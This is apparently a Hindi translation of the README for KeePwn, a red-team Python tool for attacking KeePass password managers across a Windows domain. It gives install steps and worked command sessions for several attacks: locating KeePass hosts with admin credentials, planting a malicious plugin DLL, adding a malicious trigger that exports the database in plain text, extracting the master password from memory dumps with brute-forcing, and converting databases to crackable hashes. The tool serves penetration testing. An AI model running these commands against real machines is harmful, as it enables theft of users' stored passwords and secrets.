कीपास इंस्टेंस खोजने और गुप्त जानकारी निकालने में रेड टीमर्स की मदद करने के लिए एक पायथन स्क्रिप्ट।

विशेषताएँ

स्थापना

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

या यदि आप इंस्टॉल नहीं करना चाहते बल्कि केवल वर्चुअलएनवी में चलाना चाहते हैं:

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

उपयोग

खोज

KeePwn का search मॉड्यूल आपके लक्ष्य वातावरण में कीपास चलाने वाले होस्ट की पहचान करने के लिए उपयोग किया जाता है:

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

यह कीपास से संबंधित फ़ाइलों को डिफ़ॉल्ट स्थानों में देखने के लिए Active Directory के बिल्ट-इन C$ शेयर का उपयोग करता है, इसलिए लक्ष्यों पर व्यवस्थापकीय विशेषाधिकारों की आवश्यकता होती है।

मॉड्यूल पहले प्रत्येक उपयोगकर्ता के %APPDATA%\KeePass फ़ोल्डर में KeePass.config.xml कॉन्फ़िगरेशन फ़ाइल और डिफ़ॉल्ट इंस्टॉलेशन पथ (C:\Program Files\KeePass Password Safe 2) में KeePass.exe की तलाश करेगा। यदि कोई कॉन्फ़िगरेशन फ़ाइल मिलती है लेकिन कीपास वैश्विक रूप से स्थापित नहीं है, तो KeePwn --max-depth उप-फ़ोल्डरों तक पोर्टेबल इंस्टॉलेशन की तलाश करेगा।

यह बुनियादी खोज तकनीक यह सटीक रूप से निर्धारित करने के लिए पर्याप्त होनी चाहिए कि किसी वर्कस्टेशन पर कीपास का उपयोग किया जा रहा है या नहीं। इसके अलावा, --get-process विकल्प यह निर्धारित करने के लिए इम्पैकेट के RPC कार्यान्वयन का उपयोग करेगा कि क्या कीपास वर्तमान में लक्ष्य पर चल रहा है।

विभिन्न सुविधा विकल्प भी शामिल हैं जो आपको खोज परिणामों को CSV फ़ाइल में निर्यात करने, केवल उन लक्ष्यों को प्रदर्शित करने जहाँ कीपास पाया जाता है, और समानांतर थ्रेड्स की संख्या को समायोजित करने की अनुमति देते हैं:

प्लगइन दुरुपयोग

कीपास में एक प्लगइन फ्रेमवर्क है जिसका दुरुपयोग कीपास प्रक्रिया में दुर्भावनापूर्ण DLL लोड करने के लिए किया जा सकता है, जिससे व्यवस्थापक अधिकारों वाले हमलावर आसानी से डेटाबेस निर्यात कर सकते हैं (देखें: KeeFarceRebornPlugin)।

KeePwn का plugin मॉड्यूल निम्नलिखित की अनुमति देता है:

वर्तमान में स्थापित प्लगइन्स की सूची बनाएं और प्लगइन कैश की गणना करें

$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   

[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'

अपने दुर्भावनापूर्ण प्लगइन्स जोड़ें और हटाएं

$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  

[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!

निर्यात के लिए %APPDATA% की जांच करें और इसे स्वचालित रूप से रिमोट होस्ट से स्थानीय फ़ाइल सिस्टम में ले जाएं

ट्रिगर दुरुपयोग

जैसा कि @harmj0y के ब्लॉग पोस्ट (और बाद में CVE-2023-24055) में वर्णित है, कीपास ट्रिगर सिस्टम का दुरुपयोग डेटाबेस को सादे पाठ में निर्यात करने के लिए किया जा सकता है।

KeePwn का trigger मॉड्यूल निम्नलिखित की अनुमति देता है:

जाँच करें कि क्या कीपास कॉन्फ़िगरेशन में "export" नाम का कोई दुर्भावनापूर्ण ट्रिगर वर्तमान में लिखा गया है
```
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       

[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
```
ध्यान दें कि KeePwn आपको प्लगइन्स का दुरुपयोग करने से रोकेगा यदि पाई गई कीपास संस्करण इस तकनीक से प्रभावित नहीं है।

"export" नाम का एक दुर्भावनापूर्ण ट्रिगर जोड़ें और हटाएं जो अगली कीपास लॉन्च पर %APPDATA% में डेटाबेस का सादा पाठ निर्यात करता है

❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       

[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)

मेमोरी डंप पार्सिंग

जैसा कि @vdohney द्वारा वर्णित है, मेमोरी में डेटाबेस का मास्टर पासवर्ड प्राप्त करना संभव है (CVE-2023-32784, KeePass 2.54 से पहले के संस्करणों को प्रभावित करता है)।

KeePwn parse_dump मॉड्यूल डंप में संभावित मास्टर पासवर्ड उम्मीदवारों की खोज करेगा। क्योंकि परिणामी स्ट्रिंग्स (डिज़ाइन के अनुसार) अधूरी होंगी, मॉड्यूल का उपयोग किसी निर्दिष्ट KDBX फ़ाइल के विरुद्ध लापता पहले अक्षर को ब्रूटफ़ोर्स करने के लिए भी किया जा सकता है।

$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     ＿@$$w0rd!!
     ＿Ï$$w0rd!!
     ＿§$$w0rd!!
     ＿ñ$$w0rd!!
     ＿D$$w0rd!!
     ＿$$w0rd!!
     ＿\$$w0rd!!
     ＿#$$w0rd!!
     ＿y$$w0rd!!
     ＿k$$w0rd!!
     ＿9$$w0rd!!
     ＿;$$w0rd!!
     ＿H$$w0rd!!
     ＿>$$w0rd!!
     ＿a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

मेमोरी डंप पार्सिंग @CMEPW के Python PoC का उपयोग करता है। कोड का पुन: उपयोग करने देने के लिए धन्यवाद :)

KDBX डेटाबेस क्रैकिंग

@harmjoy द्वारा keepass2john.py स्क्रिप्ट को @0xSp3ctra की मदद से KeePwn में पोर्ट किया गया था।

KeePwn convert एक कीपास डेटाबेस से क्रैक करने योग्य हैश (john या hashcat प्रारूप) निकालेगा।

KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

इसे अपेक्षित हैश प्रकार और आउटपुट फ़ाइल पथ निर्दिष्ट करने के लिए अधिक तर्कों के साथ उपयोग किया जा सकता है:

KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x अभी तक समर्थित नहीं है, आप https://github.com/r3nt0n/keepass4brute का उपयोग कर सकते हैं। यदि आप PR के मूड में हैं, तो https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format एक अच्छा पठन होना चाहिए :)

योगदान करें

पुल अनुरोधों का स्वागत है (देखें: अनचेक की गई विशेषताएँ + कोड में कुछ TODOs)।

बेझिझक एक Issue खोलें या सुधार सुझाने के लिए मुझे Twitter पर DM करें।

KeePwn

सबसे लोकप्रिय

विशेषताएँ

स्थापना

उपयोग

योगदान करें